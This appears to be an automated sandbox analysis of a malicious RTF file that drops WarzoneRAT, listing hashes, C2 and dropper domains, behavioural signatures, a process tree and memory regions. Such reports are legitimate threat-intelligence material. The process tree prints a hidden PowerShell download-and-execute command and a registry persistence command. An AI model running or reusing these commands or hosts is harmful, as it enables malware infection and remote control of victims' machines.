Analysis

  • max time kernel
    149s
  • max time network
    194s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    30-07-2021 15:26

General

  • Target

    52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d.rtf

  • Size

    1.0MB

  • MD5

    28463ecd87dbf6503d58e158785965ac

  • SHA1

    12c8088fc0ac36692e9067a1e28c1ef7bf46de46

  • SHA256

    52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d

  • SHA512

    fa9ad0f8a0de9120e0e6439548f7c3c2c22399b06818e3baaacb0ed5306610a385c594a7c7a763509e47bcfa0aa105c9480ebd37f810b7e756eff17697051061

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://hutyrtit.ydns.eu/microF.exe

Extracted

Family

warzonerat

C2

sdafsdffssffs.ydns.eu:6703

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Users\Admin\AppData\Roaming\microF.exe
        "C:\Users\Admin\AppData\Roaming\microF.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Users\Admin\AppData\Local\Temp\microF.exe
          C:\Users\Admin\AppData\Local\Temp\microF.exe
          4⤵
          • Executes dropped EXE
          PID:240
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
      2⤵
      • Process spawned unexpected child process
      PID:1140
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:992
      • C:\Users\Admin\AppData\Roaming\microF.exe
        "C:\Users\Admin\AppData\Roaming\microF.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1904
        • C:\Users\Admin\AppData\Local\Temp\microF.exe
          C:\Users\Admin\AppData\Local\Temp\microF.exe
          4⤵
          • Executes dropped EXE
          PID:900
        • C:\Users\Admin\AppData\Local\Temp\microF.exe
          C:\Users\Admin\AppData\Local\Temp\microF.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:752
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:604
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
              6⤵
                PID:1548
            • C:\ProgramData\images.exe
              "C:\ProgramData\images.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:364
              • C:\Users\Admin\AppData\Local\Temp\images.exe
                C:\Users\Admin\AppData\Local\Temp\images.exe
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies WinLogon
                • Drops file in System32 directory
                • Drops file in Program Files directory
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1656
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe"
                  7⤵
                    PID:1564
                  • C:\Users\Admin\AppData\Roaming\cCBy.blyi.exe
                    "C:\Users\Admin\AppData\Roaming\cCBy.blyi.exe"
                    7⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1604
                    • C:\Users\Admin\AppData\Local\Temp\cCBy.blyi.exe
                      C:\Users\Admin\AppData\Local\Temp\cCBy.blyi.exe
                      8⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1752
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:820

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/240-148-0x0000000000400000-0x000000000055E000-memory.dmp

          Filesize

          1.4MB

        • memory/240-158-0x0000000000400000-0x000000000055E000-memory.dmp

          Filesize

          1.4MB

        • memory/364-167-0x0000000000290000-0x0000000000291000-memory.dmp

          Filesize

          4KB

        • memory/364-165-0x0000000000170000-0x0000000000171000-memory.dmp

          Filesize

          4KB

        • memory/364-179-0x0000000000295000-0x00000000002A6000-memory.dmp

          Filesize

          68KB

        • memory/820-129-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

          Filesize

          8KB

        • memory/976-68-0x0000000000830000-0x0000000000831000-memory.dmp

          Filesize

          4KB

        • memory/976-102-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

          Filesize

          4KB

        • memory/976-110-0x00000000062A0000-0x00000000062A1000-memory.dmp

          Filesize

          4KB

        • memory/976-66-0x0000000000910000-0x0000000000911000-memory.dmp

          Filesize

          4KB

        • memory/976-90-0x000000007EF30000-0x000000007EF31000-memory.dmp

          Filesize

          4KB

        • memory/976-89-0x00000000060B0000-0x00000000060B1000-memory.dmp

          Filesize

          4KB

        • memory/976-67-0x0000000004850000-0x0000000004851000-memory.dmp

          Filesize

          4KB

        • memory/976-95-0x00000000060E0000-0x00000000060E1000-memory.dmp

          Filesize

          4KB

        • memory/976-78-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

          Filesize

          4KB

        • memory/976-69-0x0000000000832000-0x0000000000833000-memory.dmp

          Filesize

          4KB

        • memory/976-70-0x0000000001050000-0x0000000001051000-memory.dmp

          Filesize

          4KB

        • memory/976-71-0x0000000004790000-0x0000000004791000-memory.dmp

          Filesize

          4KB

        • memory/992-93-0x0000000004A12000-0x0000000004A13000-memory.dmp

          Filesize

          4KB

        • memory/992-122-0x0000000005970000-0x0000000005971000-memory.dmp

          Filesize

          4KB

        • memory/992-92-0x0000000004A10000-0x0000000004A11000-memory.dmp

          Filesize

          4KB

        • memory/1140-91-0x00000000049A0000-0x00000000049A1000-memory.dmp

          Filesize

          4KB

        • memory/1564-183-0x0000000000160000-0x0000000000161000-memory.dmp

          Filesize

          4KB

        • memory/1604-191-0x0000000004B00000-0x0000000004B01000-memory.dmp

          Filesize

          4KB

        • memory/1604-199-0x0000000004B05000-0x0000000004B16000-memory.dmp

          Filesize

          68KB

        • memory/1656-184-0x0000000001080000-0x0000000001180000-memory.dmp

          Filesize

          1024KB

        • memory/1656-180-0x0000000000400000-0x000000000055E000-memory.dmp

          Filesize

          1.4MB

        • memory/1656-208-0x0000000003EE0000-0x0000000003F56000-memory.dmp

          Filesize

          472KB

        • memory/1724-60-0x0000000072C71000-0x0000000072C74000-memory.dmp

          Filesize

          12KB

        • memory/1724-61-0x00000000706F1000-0x00000000706F3000-memory.dmp

          Filesize

          8KB

        • memory/1724-63-0x00000000769B1000-0x00000000769B3000-memory.dmp

          Filesize

          8KB

        • memory/1724-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1752-207-0x0000000004690000-0x0000000004691000-memory.dmp

          Filesize

          4KB

        • memory/1904-130-0x0000000004280000-0x00000000042D7000-memory.dmp

          Filesize

          348KB

        • memory/1904-154-0x0000000004C15000-0x0000000004C26000-memory.dmp

          Filesize

          68KB

        • memory/1904-139-0x00000000050E0000-0x000000000515B000-memory.dmp

          Filesize

          492KB

        • memory/1904-127-0x0000000004C10000-0x0000000004C11000-memory.dmp

          Filesize

          4KB

        • memory/1956-157-0x0000000004835000-0x0000000004846000-memory.dmp

          Filesize

          68KB

        • memory/1956-121-0x0000000004830000-0x0000000004831000-memory.dmp

          Filesize

          4KB

        • memory/1956-119-0x0000000000C20000-0x0000000000C21000-memory.dmp

          Filesize

          4KB